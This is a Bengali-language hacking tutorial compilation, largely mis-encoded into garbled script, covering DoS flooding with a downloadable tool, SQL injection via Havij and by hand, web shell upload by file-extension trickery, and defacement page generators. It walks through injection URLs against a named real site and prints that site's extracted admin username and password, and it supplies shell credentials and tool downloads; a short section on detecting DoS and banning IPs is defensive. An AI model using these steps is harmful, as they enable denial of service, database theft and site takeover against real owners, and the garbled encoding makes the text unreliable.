নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
